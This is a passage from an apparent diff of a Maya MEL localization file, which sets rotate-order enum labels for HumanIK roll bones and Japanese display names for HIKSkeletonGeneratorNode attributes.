"LeafLeftLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 10, "zyx" ); +// +// Node: HIKSkeletonGeneratorNode +// +setNodeNiceNameResource( "HIKSkeletonGeneratorNode", "HIKSkeleton Generator ノード" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineCount", "脊椎数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckCount", "首数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ShoulderCount", "肩数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantUpperArmRollBone", "上腕ロール ボーンが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantLowerArmRollBone", "前腕ロール ボーンが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantUpperLegRollBone", "膝上ロール ボーンが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantLowerLegRollBone", "膝下ロール ボーンが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbUpperArmRollBones", "上腕ロール ボーンの数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbLowerArmRollBones", "前腕ロール ボーンの数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbUpperLegRollBones", "膝上ロール ボーンの数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbLowerLegRollBones", "膝下ロール ボーンの数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantIndexFinger", "人差指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantMiddleFinger", "中指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantRingFinger", "薬指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantPinkyFinger", "小指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantThumb", "親指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantExtraFinger", "追加指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantFingerBase", "指のベースが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantInHandJoint", "手の内側ジョイントが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "FingerJointCount", "指のジョイント数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantIndexToe", "足人差指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantMiddleToe", "足中指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantRingToe", "足薬指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantPinkyToe", "足小指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantBigToe", "追加足指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantFootThumb", "足親指が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantToeBase", "足指のベースが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantInFootJoint", "足の内側ジョイントが必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ToeJointCount", "足指のジョイント数" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantHipsTranslation", "ヒップの移動が必要" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "CharacterNode", "キャラクタ ノード" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceT", "リファレンス T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTx", "リファレンス Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTy", "リファレンス Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTz", "リファレンス Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceR", "リファレンス R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRx", "リファレンス Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRy", "リファレンス Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRz", "リファレンス Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceS", "リファレンス S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSx", "リファレンス Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSy", "リファレンス Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSz", "リファレンス Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsT", "ヒップ T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTx", "ヒップ Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTy", "ヒップ Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTz", "ヒップ Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsR", "ヒップ R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRx", "ヒップ Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRy", "ヒップ Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRz", "ヒップ Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsS", "ヒップ S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSx", "ヒップ Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSy", "ヒップ Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSz", "ヒップ Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegT", "左大腿部 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTx", "左大腿部 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTy", "左大腿部 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTz", "左大腿部 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegR", "左大腿部 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRx", "左大腿部 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRy", "左大腿部 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRz", "左大腿部 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegS", "左大腿部 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSx", "左大腿部 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSy", "左大腿部 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSz", "左大腿部 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegT", "左脚 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTx", "左脚 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTy", "左脚 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTz", "左脚 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegR", "左脚 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRx", "左脚 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRy", "左脚 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRz", "左脚 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegS", "左脚 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSx", "左脚 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSy", "左脚 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSz", "左脚 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootT", "左足 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTx", "左足 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTy", "左足 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTz", "左足 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootR", "左足 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRx", "左足 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRy", "左足 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRz", "左足 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootS", "左足 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSx", "左足 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSy", "左足 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSz", "左足 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegT", "右大腿部 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTx", "右大腿部 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTy", "右大腿部 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegTz", "右大腿部 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegR", "右大腿部 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRx", "右大腿部 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRy", "右大腿部 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegRz", "右大腿部 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegS", "右大腿部 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSx", "右大腿部 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSy", "右大腿部 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightUpLegSz", "右大腿部 Sz" ); +setAttrNiceNameResource( 